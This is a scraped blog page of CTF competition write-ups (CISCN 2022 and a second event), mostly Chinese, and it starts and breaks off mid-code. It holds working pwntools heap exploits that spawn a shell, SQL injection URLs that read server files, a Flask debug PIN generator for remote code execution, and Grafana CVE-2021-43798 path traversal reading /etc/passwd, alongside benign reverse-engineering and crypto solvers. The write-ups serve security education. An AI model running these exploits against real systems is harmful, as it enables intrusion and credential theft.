weak(enc_shellcode.decode(\u0026#39;latin-1\u0026#39;)) p.interactive() newest_note 2.34 版本，整数溢出 +uaf，先 leak tcache 的 key，然后伪造堆块拿 libc 和 environ 最后再伪造一个栈上的 chunk 到返回地址拿到 shell\nfrom pwn import * import sys context(os=\u0026#39;linux\u0026#39;, arch=\u0026#39;amd64\u0026#39;, log_level=\u0026#39;debug\u0026#39;) if len(sys.argv) \u0026lt; 2: debug = True else: debug = False if debug: p = process(\u0026#34;./newest_note\u0026#34;) libc = ELF(\u0026#34;./libc.so.6\u0026#34;) else: p = remote(\u0026#34;47.93.180.93\u0026#34;, 27873) libc = ELF(\u0026#34;./libc.so.6\u0026#34;) def debugf(b=0): if debug: if b: gdb.attach(p,\u0026#34;b *$rebase({b})\u0026#34;.format(b = hex(b))) else: gdb.attach(p) elf = ELF(\u0026#39;./newest_note\u0026#39;) ru = lambda x : p.recvuntil(x) sn = lambda x : p.send(x) rl = lambda : p.recvline() sl = lambda x : p.sendline(x) rv = lambda x : p.recv(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a, b) def menu(i): sla(b\u0026#39;:\u0026#39;,str(i)) def add(index,content): menu(1) sla(\u0026#39;Index: \u0026#39;,str(index)) sla(\u0026#39;Content: \u0026#39;,content) def flip(index): menu(2) sla(\u0026#39;Index: \u0026#39;,str(index)) def show(index): menu(3) sla(\u0026#39;Index: \u0026#39;,str(index)) ru(\u0026#39;will be? :\u0026#39;) sl(str(0x300200020//8)) add(0,b\u0026#34;aaa\u0026#34;) add(1,b\u0026#34;bbb\u0026#34;) for i in range(0,24): add(4,(p64(0)+p64(0x21))*3) flip(0) show(0) ru(\u0026#39;Content: \u0026#39;) key = u64(p.recv(5).ljust(8,b\u0026#39;\\x00\u0026#39;)) flip(1) show(1) ru(\u0026#39;Content: \u0026#39;) heapinfo = u64(ru(\u0026#39;\\n\u0026#39;)[:-1].ljust(8,b\u0026#39;\\x00\u0026#39;)) heapaddr = heapinfo ^ key heap_base = heapaddr - 0x2a0 print(\u0026#34;key: \u0026#34; + hex(key)) print(\u0026#34;heapaddr: \u0026#34; + hex(heapaddr)) print(\u0026#34;heap_base: \u0026#34; + hex(heap_base)) add(0,p64(0)) add(1,p64(key)+p64(0x41)+p64(key)+p64(0x41)+p64(key)+p64(0x41)) add(2,3*(p64(0)+p64(0x21))) chunk1_size = heap_base+0x2b0 print(\u0026#34;chunk1 size: \u0026#34; + hex(chunk1_size)) print(\u0026#34;enc chunk1 size: \u0026#34; + hex((chunk1_size)^key)) add(0x41cc70//8, p64(0)+p64(0x41)+p64(chunk1_size^key) +p64(0) ) add(3,p64(0)*4+p64(0)+p64(0x420)) add(4,p64(0)*3+p64(0x421)) flip(0) show(0) libc_info = u64(ru(\u0026#39;\\x7f\u0026#39;)[-6:].ljust(8,b\u0026#39;\\x00\u0026#39;)) libc.address = libc_info - 0x218cc0 print(\u0026#34;libc_info: \u0026#34; + hex(libc_info)) print(\u0026#34;libc_base: \u0026#34; + hex(libc.address)) env = libc.symbols[\u0026#39;environ\u0026#39;] - 0x10 add(0,b\u0026#34;a\u0026#34;*8) flip(2) flip(0) flip(4) add(4,p64(0)*3+p64(0x41)+p64(env^key)) add(0,b\u0026#39;aaa\u0026#39;) add(2,b\u0026#39;a\u0026#39;*15) show(2) stack2= u64(p.recvuntil(\u0026#39;\\x7f\u0026#39;)[-6:].ljust(8,b\u0026#39;\\x00\u0026#39;)) print(\u0026#34;stack_info2: \u0026#34; + hex(stack2)) ret2 = stack2 - 0x158 flip(1) flip(0) flip(4) success(\u0026#34;ret_enc: \u0026#34; + hex(ret2^key)) success(\u0026#34;ret_addr: \u0026#34; + hex(ret2)) add(4,p64(0)*3+p64(0x41)+p64(ret2^key)) add(1,b\u0026#39;aaa\u0026#39;) pop_rdi_ret = 0x000000000002e6c5 ret = 0x000000000004a7cc payload =b\u0026#34;a\u0026#34;*8 + p64(pop_rdi_ret + libc.address) + p64(libc.search(b\u0026#34;/bin/sh\\x00\u0026#34;).__next__()) + p64(ret + libc.address) + p64(libc.sym[\u0026#39;system\u0026#39;]) add(4,payload) p.interactive() Re baby_tree 手撸 ast，还原到 swift 源码\nfunc check(encoded:String, keyValue:String) -\u0026gt; (Bool){ var b = [UInt8](encoded.utf8) var k = [UInt8](keyValue.utf8) var r0, r1, r2, r3: UInt8 for i in 0...b.count-4{ (r0, r1, r2, r3) = (b[i], b[i+1], b[i+2], b[i+3]) b[i+0] = r2 ^ ((k[0] + (r0 \u0026gt;\u0026gt; 4)) \u0026amp; 0xff) b[i+1] = r3 ^ ((k[1] + (r1 \u0026gt;\u0026gt; 2)) \u0026amp; 0xff) b[i+2] = r0 ^ k[2] b[i+3] = r1 ^ k[3] (k[0], k[1], k[2], k[3]) = (k[1], k[2], k[3], k[0]) } return b == [88, 35, 88, 225, 7, 201, 57, 94, 77, 56, 75, 168, 72, 218, 64, 91, 16, 101, 32, 207, 73, 130, 74, 128, 76, 201, 16, 248, 41, 205, 103, 84, 91, 99, 79, 202, 22, 131, 63, 255, 20, 16] } 用 z3 求解\nfrom z3 import * enc = [ 88, 35, 88, 225, 7, 201, 57, 94, 77, 56, 75, 168, 72, 218, 64, 91, 16, 101, 32, 207, 73, 130, 74, 128, 76, 201, 16, 248, 41, 205, 103, 84, 91, 99, 79, 202, 22, 131, 63, 255, 20, 16 ] k = [0x33, 0x34, 0x35, 0x79] s = Solver() flag = [BitVec(\u0026#39;flag%d\u0026#39; % i, 16) for i in range(len(enc))] for i in range(len(flag) - 3): r0, r1, r2, r3 = flag[i], flag[i + 1], flag[i + 2], flag[i + 3] flag[i + 0] = r2 ^ ((k[0] + (r0 \u0026gt;\u0026gt; 4)) \u0026amp; 0xff) flag[i + 1] = r3 ^ ((k[1] + (r1 \u0026gt;\u0026gt; 2)) \u0026amp; 0xff) flag[i + 2] = r0 ^ k[2] flag[i + 3] = r1 ^ k[3] (k[0], k[1], k[2], k[3]) = (k[1], k[2], k[3], k[0]) for i in range(len(enc)): s.add(enc[i] == flag[i]) if s.check() == sat: print (s.model()) else: print (\u0026#34;no res\u0026#34;) babycode mruby 字节码，参考文档：https://github.com/mruby/mruby/blob/c6c789d2e84085831351740684b72f9a5086cd2d/include/mruby/ops.h\n手撸还原源码\nclass Crypt class CIPHER XX = 305419896 YY = 16 def self.encrypt(t, p) cip = CIPHER.new() return cip.encrypt(t, p) end def encrypt(t, p) key = to_key(p) c = [] n = 0 while n \u0026lt; t.length do num1 = t[n].ord.to_i \u0026lt;\u0026lt; 24 num1 += t[n + 1].ord.to_i \u0026lt;\u0026lt; 16 num1 += t[n + 2].ord.to_i \u0026lt;\u0026lt; 8 num1 += t[n + 3].ord.to_i num2 = t[n + 4].ord.to_i \u0026lt;\u0026lt; 24 num2 += t[n + 5].ord.to_i \u0026lt;\u0026lt; 16 num2 += t[n + 6].ord.to_i \u0026lt;\u0026lt; 8 num2 += t[n + 7].ord.to_i enum1, enum2 = enc_one(num1, num2, key) c \u0026lt;\u0026lt; enum1 c \u0026lt;\u0026lt; enum2 n += 8 end return \u0026#34;\u0026#34;.join(c.collect{| x |sprintf(\u0026#39;%.8x\u0026#39;, x)}) end private def to_key(p) return p.unpack(\u0026#34;L*\u0026#34;) end def enc_one(num1, num2, key) y, z, s = num1, num2, 0 YY.times{ | i | y += (((z \u0026lt;\u0026lt; 3) ^ (z \u0026gt;\u0026gt; 5)) + z) ^ (s + key[((s \u0026gt;\u0026gt; 11) + 1) \u0026amp; 3]) y \u0026amp;= 4294967295 s += XX z += (((y \u0026lt;\u0026lt; 3) ^ (y \u0026gt;\u0026gt; 5)) + y) ^ (s + key[(s + 1) \u0026amp; 3]) z \u0026amp;= 4294967295 } end end end def check(p) i = 0 lst_ch = 0 while i \u0026lt; p.length do c = p[i].ord p[i] = (c ^ lst_ch ^ (i + 1)).chr lst_ch = c i += 1 end k = \u0026#34;aaaassssddddffff\u0026#34; cipher_text = Crypt::CIPHER.encrypt(p, k) if cipher_text == \u0026#34;f469358b7f165145116e127ad6105917bce5225d6d62a714c390c5ed93b22d8b6b102a8813488fdb\u0026#34; return true end return false end p = gets.chomp if check(p) puts \u0026#34;yes\u0026#34; end 修改后的 xtea，解密脚本：\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdint.h\u0026gt; void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) { unsigned int i; uint32_t v0=v[0], v1=v[1], delta=305419896, sum=delta*num_rounds; for (i=0; i \u0026lt; num_rounds; i++) { v1 -= (((v0 \u0026lt;\u0026lt; 3) ^ (v0 \u0026gt;\u0026gt; 5)) + v0) ^ (sum + key[(sum + 1) \u0026amp; 3]); sum -= delta; v0 -= (((v1 \u0026lt;\u0026lt; 3) ^ (v1 \u0026gt;\u0026gt; 5)) + v1) ^ (sum + key[((sum\u0026gt;\u0026gt;11) + 1) \u0026amp; 3]); } v[0]=v0; v[1]=v1; } int main() { uint32_t v[] = {0xf469358bu, 0x7f165145u, 0x116e127au, 0xd6105917u, 0xbce5225du, 0x6d62a714u, 0xc390c5edu, 0x93b22d8bu, 0x6b102a88u, 0x13488fdbu}; uint32_t const k[4] = {0x61616161u, 0x73737373u, 0x64646464u, 0x66666666u}; unsigned int r=16; decipher(r, v, k); decipher(r, v + 2, k); decipher(r, v + 4, k); decipher(r, v + 6, k); decipher(r, v + 8, k); printf(\u0026#34;%08x %08x %08x %08x %08x %08x %08x %08x %08x %08x\\n\u0026#34;,v[0],v[1], v[2], v[3], v[4], v[5], v[6], v[7], v[8], v[9]); return 0; } 最后一个异或使用 python 求解\na = [0x67, 0x08, 0x0e, 0x02, 0x19, 0x4b, 0x50, 0x0d, 0x5c, 0x58, 0x5f, 0x0b, 0x5e, 0x40, 0x46, 0x15, 0x11, 0x47, 0x0a, 0x08, 0x15, 0x42, 0x11, 0x56, 0x0d, 0x47, 0x49, 0x1e, 0x04, 0x03, 0x1d, 0x26, 0x27, 0x71, 0x21, 0x76, 0x26, 0x24, 0x27, 0x65] lst_ch = 0 for i in range(40): lst_ch = a[i] ^ lst_ch ^ (i + 1) print (chr(lst_ch), end=\u0026#39;\u0026#39;) secreeeeet rabbit 加密\nkey 前 5 字节随机生成，后面 11 字节根据前面 5 字节生成\n最后用 3 个随机字节异或\n已知 flag.png 的文件头，可以爆破得到 key\n直接用网上的 Rabbit 库解密\nimport hashlib from Rabbit import * r = open(\u0026#39;flag.png.enc\u0026#39;, \u0026#39;rb\u0026#39;) message = r.read() start = \u0026#34;0123456789\u0026#34; s = \u0026#34;qscfthnjik\u0026#34; for s1 in s: for s2 in s: for s3 in s: for s4 in s: for s5 in s: key = [ord(s1), ord(s2), ord(s3), ord(s4), ord(s5)] for i in range(11): key.append((key[-1] + key[-2]) \u0026amp; 0xff) for i in range(16): key[i] = key[i].to_bytes(1, \u0026#39;big\u0026#39;) key = b\u0026#39;\u0026#39;.join(key) msg = Rabbit(key, b\u0026#39;\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\u0026#39;).encrypt(message[:8]).encode() for i in start: if ord(i) ^ msg[0] == 0x89: for j in start: if ord(j) ^ msg[1] == 0x50: for k in start: if ord(k) ^ msg[2] == 0x4e: if ord(i) ^ msg[3] == 0x47: msg = Rabbit(key, 0).encrypt(message).encode() ans = b\u0026#39;\u0026#39; for i in range(len(msg)): ans += chr( (msg[i]) ^ key[i % 3]).encode() print(ans) Crypto 签到电台 首先发送一个 s 开启电报，抓包可以看到返回一个 session，再随意发一个字符发现 session 添加到了 cookie 字段中，之后直接发送电码本和掩码的模 10 加结果即可，注意中间是用 J 分隔的，脚本如下\nplaint = \u0026#39;1732251413440356045166710055\u0026#39; mask = \u0026#39;1021723964055826996370726447\u0026#39; msg = \u0026#39;\u0026#39; for i in range(len(plaint)): msg += str((int(plaint[i]) + int(mask[i])) % 10) for i in range(len(msg)): if i % 4 == 0: print(\u0026#39;J\u0026#39;) print(msg[i], end=\u0026#34;\u0026#34;) 基于挑战码的双向认证123 学着 server 的代码填空即可，主要填两个地方，填完发现仨题都能打通\n在 152 行处\nMemset(Buf,0,DIGEST_SIZE*4); Strncpy(Buf,client_state-\u0026gt;key,DIGEST_SIZE); Memcpy(Buf+DIGEST_SIZE,client_state-\u0026gt;nonceA,DIGEST_SIZE); Memcpy(Buf+DIGEST_SIZE*2,client_state-\u0026gt;nonceB,DIGEST_SIZE); calculate_context_sm3(Buf,DIGEST_SIZE*3,Buf+DIGEST_SIZE*3); 在 184 行处\nMemset(Buf,0,DIGEST_SIZE*2); Strncpy(Buf,client_state-\u0026gt;key,DIGEST_SIZE); Memcpy(Buf+DIGEST_SIZE,client_state-\u0026gt;nonceB,DIGEST_SIZE); calculate_context_sm3(Buf,DIGEST_SIZE*2,login_info-\u0026gt;passwd); ISO9798 随意发送 16 字节后拿到 E(r_A||r_B||B)，试了几次发现用的是分组加密的 ECB 模式，直接发送给服务端 E(r_B)||E(r_A) 即可\nMisc 问卷 填问卷，拿 flag\nez_usb 两个键盘的流量，一个是 rar，一个是密码，抓出流量解密拿到 flag\nimport sys import os presses = [] normalKeys = {\u0026#34;04\u0026#34;:\u0026#34;a\u0026#34;, \u0026#34;05\u0026#34;:\u0026#34;b\u0026#34;, \u0026#34;06\u0026#34;:\u0026#34;c\u0026#34;, \u0026#34;07\u0026#34;:\u0026#34;d\u0026#34;, \u0026#34;08\u0026#34;:\u0026#34;e\u0026#34;, \u0026#34;09\u0026#34;:\u0026#34;f\u0026#34;, \u0026#34;0a\u0026#34;:\u0026#34;g\u0026#34;, \u0026#34;0b\u0026#34;:\u0026#34;h\u0026#34;, \u0026#34;0c\u0026#34;:\u0026#34;i\u0026#34;, \u0026#34;0d\u0026#34;:\u0026#34;j\u0026#34;, \u0026#34;0e\u0026#34;:\u0026#34;k\u0026#34;, \u0026#34;0f\u0026#34;:\u0026#34;l\u0026#34;, \u0026#34;10\u0026#34;:\u0026#34;m\u0026#34;, \u0026#34;11\u0026#34;:\u0026#34;n\u0026#34;, \u0026#34;12\u0026#34;:\u0026#34;o\u0026#34;, \u0026#34;13\u0026#34;:\u0026#34;p\u0026#34;, \u0026#34;14\u0026#34;:\u0026#34;q\u0026#34;, \u0026#34;15\u0026#34;:\u0026#34;r\u0026#34;, \u0026#34;16\u0026#34;:\u0026#34;s\u0026#34;, \u0026#34;17\u0026#34;:\u0026#34;t\u0026#34;, \u0026#34;18\u0026#34;:\u0026#34;u\u0026#34;, \u0026#34;19\u0026#34;:\u0026#34;v\u0026#34;, \u0026#34;1a\u0026#34;:\u0026#34;w\u0026#34;, \u0026#34;1b\u0026#34;:\u0026#34;x\u0026#34;, \u0026#34;1c\u0026#34;:\u0026#34;y\u0026#34;, \u0026#34;1d\u0026#34;:\u0026#34;z\u0026#34;,\u0026#34;1e\u0026#34;:\u0026#34;1\u0026#34;, \u0026#34;1f\u0026#34;:\u0026#34;2\u0026#34;, \u0026#34;20\u0026#34;:\u0026#34;3\u0026#34;, \u0026#34;21\u0026#34;:\u0026#34;4\u0026#34;, \u0026#34;22\u0026#34;:\u0026#34;5\u0026#34;, \u0026#34;23\u0026#34;:\u0026#34;6\u0026#34;,\u0026#34;24\u0026#34;:\u0026#34;7\u0026#34;,\u0026#34;25\u0026#34;:\u0026#34;8\u0026#34;,\u0026#34;26\u0026#34;:\u0026#34;9\u0026#34;,\u0026#34;27\u0026#34;:\u0026#34;0\u0026#34;,\u0026#34;28\u0026#34;:\u0026#34;\u0026lt;RET\u0026gt;\u0026#34;,\u0026#34;29\u0026#34;:\u0026#34;\u0026lt;ESC\u0026gt;\u0026#34;,\u0026#34;2a\u0026#34;:\u0026#34;\u0026lt;DEL\u0026gt;\u0026#34;, \u0026#34;2b\u0026#34;:\u0026#34;\\t\u0026#34;,\u0026#34;2c\u0026#34;:\u0026#34;\u0026lt;SPACE\u0026gt;\u0026#34;,\u0026#34;2d\u0026#34;:\u0026#34;-\u0026#34;,\u0026#34;2e\u0026#34;:\u0026#34;=\u0026#34;,\u0026#34;2f\u0026#34;:\u0026#34;[\u0026#34;,\u0026#34;30\u0026#34;:\u0026#34;]\u0026#34;,\u0026#34;31\u0026#34;:\u0026#34;\\\\\u0026#34;,\u0026#34;32\u0026#34;:\u0026#34;\u0026lt;NON\u0026gt;\u0026#34;,\u0026#34;33\u0026#34;:\u0026#34;;\u0026#34;,\u0026#34;34\u0026#34;:\u0026#34;\u0026#39;\u0026#34;,\u0026#34;35\u0026#34;:\u0026#34;\u0026lt;GA\u0026gt;\u0026#34;,\u0026#34;36\u0026#34;:\u0026#34;,\u0026#34;,\u0026#34;37\u0026#34;:\u0026#34;.\u0026#34;,\u0026#34;38\u0026#34;:\u0026#34;/\u0026#34;,\u0026#34;39\u0026#34;:\u0026#34;\u0026#34;,\u0026#34;3a\u0026#34;:\u0026#34;\u0026lt;F1\u0026gt;\u0026#34;,\u0026#34;3b\u0026#34;:\u0026#34;\u0026lt;F2\u0026gt;\u0026#34;, \u0026#34;3c\u0026#34;:\u0026#34;\u0026lt;F3\u0026gt;\u0026#34;,\u0026#34;3d\u0026#34;:\u0026#34;\u0026lt;F4\u0026gt;\u0026#34;,\u0026#34;3e\u0026#34;:\u0026#34;\u0026lt;F5\u0026gt;\u0026#34;,\u0026#34;3f\u0026#34;:\u0026#34;\u0026lt;F6\u0026gt;\u0026#34;,\u0026#34;40\u0026#34;:\u0026#34;\u0026lt;F7\u0026gt;\u0026#34;,\u0026#34;41\u0026#34;:\u0026#34;\u0026lt;F8\u0026gt;\u0026#34;,\u0026#34;42\u0026#34;:\u0026#34;\u0026lt;F9\u0026gt;\u0026#34;,\u0026#34;43\u0026#34;:\u0026#34;\u0026lt;F10\u0026gt;\u0026#34;,\u0026#34;44\u0026#34;:\u0026#34;\u0026lt;F11\u0026gt;\u0026#34;,\u0026#34;45\u0026#34;:\u0026#34;\u0026lt;F12\u0026gt;\u0026#34;} shiftKeys = {\u0026#34;04\u0026#34;:\u0026#34;A\u0026#34;, \u0026#34;05\u0026#34;:\u0026#34;B\u0026#34;, \u0026#34;06\u0026#34;:\u0026#34;C\u0026#34;, \u0026#34;07\u0026#34;:\u0026#34;D\u0026#34;, \u0026#34;08\u0026#34;:\u0026#34;E\u0026#34;, \u0026#34;09\u0026#34;:\u0026#34;F\u0026#34;, \u0026#34;0a\u0026#34;:\u0026#34;G\u0026#34;, \u0026#34;0b\u0026#34;:\u0026#34;H\u0026#34;, \u0026#34;0c\u0026#34;:\u0026#34;I\u0026#34;, \u0026#34;0d\u0026#34;:\u0026#34;J\u0026#34;, \u0026#34;0e\u0026#34;:\u0026#34;K\u0026#34;, \u0026#34;0f\u0026#34;:\u0026#34;L\u0026#34;, \u0026#34;10\u0026#34;:\u0026#34;M\u0026#34;, \u0026#34;11\u0026#34;:\u0026#34;N\u0026#34;, \u0026#34;12\u0026#34;:\u0026#34;O\u0026#34;, \u0026#34;13\u0026#34;:\u0026#34;P\u0026#34;, \u0026#34;14\u0026#34;:\u0026#34;Q\u0026#34;, \u0026#34;15\u0026#34;:\u0026#34;R\u0026#34;, \u0026#34;16\u0026#34;:\u0026#34;S\u0026#34;, \u0026#34;17\u0026#34;:\u0026#34;T\u0026#34;, \u0026#34;18\u0026#34;:\u0026#34;U\u0026#34;, \u0026#34;19\u0026#34;:\u0026#34;V\u0026#34;, \u0026#34;1a\u0026#34;:\u0026#34;W\u0026#34;, \u0026#34;1b\u0026#34;:\u0026#34;X\u0026#34;, \u0026#34;1c\u0026#34;:\u0026#34;Y\u0026#34;, \u0026#34;1d\u0026#34;:\u0026#34;Z\u0026#34;,\u0026#34;1e\u0026#34;:\u0026#34;!\u0026#34;, \u0026#34;1f\u0026#34;:\u0026#34;@\u0026#34;, \u0026#34;20\u0026#34;:\u0026#34;#\u0026#34;, \u0026#34;21\u0026#34;:\u0026#34;$\u0026#34;, \u0026#34;22\u0026#34;:\u0026#34;%\u0026#34;, \u0026#34;23\u0026#34;:\u0026#34;^\u0026#34;,\u0026#34;24\u0026#34;:\u0026#34;\u0026amp;\u0026#34;,\u0026#34;25\u0026#34;:\u0026#34;*\u0026#34;,\u0026#34;26\u0026#34;:\u0026#34;(\u0026#34;,\u0026#34;27\u0026#34;:\u0026#34;)\u0026#34;,\u0026#34;28\u0026#34;:\u0026#34;\u0026lt;RET\u0026gt;\u0026#34;,\u0026#34;29\u0026#34;:\u0026#34;\u0026lt;ESC\u0026gt;\u0026#34;,\u0026#34;2a\u0026#34;:\u0026#34;\u0026lt;DEL\u0026gt;\u0026#34;, \u0026#34;2b\u0026#34;:\u0026#34;\\t\u0026#34;,\u0026#34;2c\u0026#34;:\u0026#34;\u0026lt;SPACE\u0026gt;\u0026#34;,\u0026#34;2d\u0026#34;:\u0026#34;_\u0026#34;,\u0026#34;2e\u0026#34;:\u0026#34;+\u0026#34;,\u0026#34;2f\u0026#34;:\u0026#34;{\u0026#34;,\u0026#34;30\u0026#34;:\u0026#34;}\u0026#34;,\u0026#34;31\u0026#34;:\u0026#34;|\u0026#34;,\u0026#34;32\u0026#34;:\u0026#34;\u0026lt;NON\u0026gt;\u0026#34;,\u0026#34;33\u0026#34;:\u0026#34;\\\u0026#34;\u0026#34;,\u0026#34;34\u0026#34;:\u0026#34;:\u0026#34;,\u0026#34;35\u0026#34;:\u0026#34;\u0026lt;GA\u0026gt;\u0026#34;,\u0026#34;36\u0026#34;:\u0026#34;\u0026lt;\u0026#34;,\u0026#34;37\u0026#34;:\u0026#34;\u0026gt;\u0026#34;,\u0026#34;38\u0026#34;:\u0026#34;?\u0026#34;,\u0026#34;39\u0026#34;:\u0026#34;\u0026lt;CAP\u0026gt;\u0026#34;,\u0026#34;3a\u0026#34;:\u0026#34;\u0026lt;F1\u0026gt;\u0026#34;,\u0026#34;3b\u0026#34;:\u0026#34;\u0026lt;F2\u0026gt;\u0026#34;, \u0026#34;3c\u0026#34;:\u0026#34;\u0026lt;F3\u0026gt;\u0026#34;,\u0026#34;3d\u0026#34;:\u0026#34;\u0026lt;F4\u0026gt;\u0026#34;,\u0026#34;3e\u0026#34;:\u0026#34;\u0026lt;F5\u0026gt;\u0026#34;,\u0026#34;3f\u0026#34;:\u0026#34;\u0026lt;F6\u0026gt;\u0026#34;,\u0026#34;40\u0026#34;:\u0026#34;\u0026lt;F7\u0026gt;\u0026#34;,\u0026#34;41\u0026#34;:\u0026#34;\u0026lt;F8\u0026gt;\u0026#34;,\u0026#34;42\u0026#34;:\u0026#34;\u0026lt;F9\u0026gt;\u0026#34;,\u0026#34;43\u0026#34;:\u0026#34;\u0026lt;F10\u0026gt;\u0026#34;,\u0026#34;44\u0026#34;:\u0026#34;\u0026lt;F11\u0026gt;\u0026#34;,\u0026#34;45\u0026#34;:\u0026#34;\u0026lt;F12\u0026gt;\u0026#34;} # tshark -r ez_usb.pcapng -T fields -e usb.capdata -Y \u0026#34;usb.device_address==8\u0026#34; | sed \u0026#39;/^\\s*$/d\u0026#39; \u0026gt; usb1.dat with open(\u0026#34;usb1.dat\u0026#34;, \u0026#34;r\u0026#34;) as f: for line in f: presses.append(line[0:-1]) result = \u0026#34;\u0026#34; for press in presses: if press == \u0026#39;\u0026#39;: continue if \u0026#39;:\u0026#39; in press: Bytes = press.split(\u0026#34;:\u0026#34;) else: Bytes = [press[i:i+2] for i in range(0, len(press), 2)] if Bytes[0] == \u0026#34;00\u0026#34;: if Bytes[2] != \u0026#34;00\u0026#34; and normalKeys.get(Bytes[2]): result += normalKeys[Bytes[2]] elif int(Bytes[0],16) \u0026amp; 0b10 or int(Bytes[0],16) \u0026amp; 0b100000: # shift key is pressed. if Bytes[2] != \u0026#34;00\u0026#34; and normalKeys.get(Bytes[2]): result += shiftKeys[Bytes[2]] else: print(\u0026#34;Unknow Key : %s\u0026#34; % (Bytes[0])) print(\u0026#34;got : %s\u0026#34; % (result)) ","date":"2022-06-01T17:17:17+08:00","image":"https://or4ngesec.github.io/post/ciscn-2022-writeup-by-or4nge/cover_hua298b546d0b49e7ca84fa027f7c430e6_662553_120x120_fill_q75_box_smart1.jpg","permalink":"https://or4ngesec.github.io/post/ciscn-2022-writeup-by-or4nge/","title":"CISCN2022 初赛 Writeup by or4nge"},{"content":"Web oh-my-notepro debug 模式为开，随便试一试即可触发报错，note_id 处存在注入，使用 load data local infile 'xx' into table xx 可以读文件。\n创建临时表：\nhttp://123.60.72.85:5002/view?note_id=\u0026#39; union select 1,2,3,4,5;create table otable(data varchar(10000));--+ 把文件写入表中：\nhttp://123.60.72.85:5002/view?note_id=\u0026#39; union select 1,2,3,4,5;load data local infile \u0026#34;/app/app.py\u0026#34; into table otable;--+ 读取数据：\nhttp://123.60.72.85:5002/view?note_id=\u0026#39; union select 1,2,3,(select group_concat(data, \u0026#39;\\n\u0026#39;) from (select data from otable limit 0,50)x),5;--+ debug模式为开，考虑计算flask debug pin，exp如下：\nimport hashlib from itertools import chain def get_machine_id(): machine_id = \u0026#39;1cc402dd0e11d5ae18db04a6de87223d\u0026#39; # /etc/machine-id boot_id = \u0026#39;\u0026#39; # /proc/sys/kernel/random/boot_id cgroup = \u0026#39;4b13f9ab9776ea7cf70e6ab9b3a06f5987e0d7b73fe5703ecf8e1d06018ebc71\u0026#39; # /proc/1/cgroup linux = machine_id + boot_id + cgroup return linux rv = None num = None mac = \u0026#39;02:42:ac:1c:00:03\u0026#39;# /sys/class/net/eth0/address probably_public_bits = [ \u0026#39;ctf\u0026#39;,# username \u0026#39;flask.app\u0026#39;,# modname \u0026#39;Flask\u0026#39;,# getattr(app, \u0026#39;__name__\u0026#39;, getattr(app.__class__, \u0026#39;__name__\u0026#39;)) \u0026#39;/usr/local/lib/python3.8/site-packages/flask/app.py\u0026#39; # getattr(mod, \u0026#39;__file__\u0026#39;, None), ] private_bits = [ str(int(mac.replace(\u0026#39;:\u0026#39;,\u0026#39;\u0026#39;), 16)), get_machine_id() ] h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode(\u0026#34;utf-8\u0026#34;) h.update(bit) h.update(b\u0026#34;cookiesalt\u0026#34;) cookie_name = f\u0026#34;__wzd{h.hexdigest()[:20]}\u0026#34; # If we need to generate a pin we salt it a bit more so that we don\u0026#39;t # end up with the same value and generate out 9 digits if num is None: h.update(b\u0026#34;pinsalt\u0026#34;) num = f\u0026#34;{int(h.hexdigest(), 16):09d}\u0026#34;[:9] # Format the pincode in groups of digits for easier remembering if # we don\u0026#39;t have a result yet. if rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = \u0026#34;-\u0026#34;.join( num[x : x + group_size].rjust(group_size, \u0026#34;0\u0026#34;) for x in range(0, len(num), group_size) ) break else: rv = num print(rv) 算出pin，访问/console即可rce。\noh-my-lotto 将环境变量PATH设置为空即可跳过wget命令。第一次正常访问/lotto，然后访问/result获取结果，然后上传至/forecast，然后再次访问/lotto，提供环境变量PATH为空，即可使forecast与result相同，获得flag。\noh-my-grafana cve-2021-43798任意文件读：GET /public/plugins/welcome/../../../../../../../../etc/passwd HTTP/1.1\n读到了配置文件：/public/plugins/welcome/../../../../../../../..//etc/grafana/grafana.ini\n发现唯一生效的配置文件就是 adminpassword\nadmin_user = admin\nadmin_password = 5f989714e132c9b04d4807dafeb10ade\n看上去是个md5，但是实际上就是密码（在非隔离环境下需要多登录几次）\n登进去后有个mysql服务，可以任意查询语句，趁着一堆人直接上车 select * from fffffflllllllllaaaagggggg\nPwn examination leak，任意地址添加 1 更改 len，堆溢出\nfrom pwn import * import sys context(os=\u0026#39;linux\u0026#39;, arch=\u0026#39;amd64\u0026#39;, log_level=\u0026#39;debug\u0026#39;) p = process(\u0026#34;./examination\u0026#34;) # p = remote(\u0026#34;124.70.130.92\u0026#34;, 60001) libc = ELF(\u0026#34;./libc-2.31.so\u0026#34;) def debugf(b=0): if debug: if b: gdb.attach(p,\u0026#34;b *$rebase({b})\u0026#34;.format(b = hex(b))) else: gdb.attach(p) elf = ELF(\u0026#39;./examination\u0026#39;) ru = lambda x : p.recvuntil(x) sn = lambda x : p.send(x) rl = lambda : p.recvline() sl = lambda x : p.sendline(x) rv = lambda x : p.recv(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a, b) heap_base = 0 def menu(i): sla(b\u0026#34;choice\u0026gt;\u0026gt; \u0026#34;, str(i)) def add_student(q): menu(1) sla(b\u0026#34;questions:\u0026#34;, str(q)) def give_score(): menu(2) def write_view(i, size, content, flag): menu(3) sla(\u0026#34;which one? \u0026gt;\u0026#34;, str(i)) if flag != 1: sla(\u0026#34;please input the size of comment: \u0026#34;, str(size)) sa(\u0026#34;enter your comment:\u0026#34;, content) def free(i): menu(4) sla(\u0026#34;choose?\u0026#34;, str(i)) def change_role(i): menu(5) sla(\u0026#34;role: \u0026lt;0.teacher/1.student\u0026gt;:\u0026#34;, str(i)) def pray(): menu(3) def check_view(): menu(2) def reward(): menu(2) ru(\u0026#34;reward! \u0026#34;) base = ru(b\u0026#34;\\n\u0026#34;)[:-1] global heap_base heap_base = int(base, 16) - 0x2a0 print(hex(heap_base)) sla(\u0026#34;addr: \u0026#34;, str(heap_base+0x2e0+1).encode() + b\u0026#34;\\x00\u0026#34;) def set_mode(i): menu(4) sla(\u0026#34;100\u0026#34;, str(i)) def change_id(i): menu(6) sla(\u0026#34;id:\u0026#34;, str(i)) sl(\u0026#34;0\u0026#34;) add_student(1) change_role(1) pray() change_role(0) give_score() write_view(0, 0x18, b\u0026#34;a\u0026#34;*0x10, 0) change_role(1) reward() change_role(0) add_student(1) payload1 = b\u0026#34;a\u0026#34;*0x18+p64(0x31) + p64(heap_base + 0x340) + p64(0)*4 + p64(0x21) + 